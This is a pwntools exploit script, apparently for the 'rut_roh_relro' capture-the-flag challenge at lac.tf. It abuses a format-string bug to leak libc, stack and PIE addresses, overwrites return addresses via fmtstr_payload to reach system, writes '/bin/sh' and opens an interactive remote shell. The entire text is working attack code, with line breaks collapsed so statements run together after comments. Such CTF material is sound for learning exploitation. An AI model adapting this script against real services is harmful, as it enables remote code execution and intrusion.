```pythonfrom pwn import *
context.arch = 'amd64'# context.log_level = 'DEBUG'
# p = process('./rut_roh_relro')p = remote('lac.tf', 31134)e = ELF('./rut_roh_relro')libc = ELF('./libc.so.6')
# libc,stack,piepayload = b''payload += b'%71$p%68$p%63$p'
pause()p.sendlineafter('?\n', payload)
p.recvuntil('0x')libc.address = int(p.recv(12), 16) - 0x23d0ainfo('libc address ' + hex(libc.address))
p.recvuntil('0x')stack = int(p.recv(12), 16)info('stack ' + hex(stack))ret = stack - 0xe8
p.recvuntil('0x')e.address = int(p.recv(12), 16) - 0x1265info('pie address ' + hex(e.address))
# og = [0xc961a, 0xc961d, 0xc9620]
payload = b''payload += fmtstr_payload(6, {ret : e.symbols['main']})# pause()p.sendlineafter('?\n', payload)
###### (2) ######ret = stack - 0xe0rdi = libc.address + 0x1d1990info(hex(ret))
payload = b''payload += fmtstr_payload(6, {ret : libc.symbols['system']})payload += b'\x00\x00'
# pause()p.sendlineafter('?\n', payload)
payload = b''payload += fmtstr_payload(6, {rdi : b'/bin/sh\x00'})payload += b'\x00\x00'
p.sendlineafter('?\n', payload)
p.interactive()```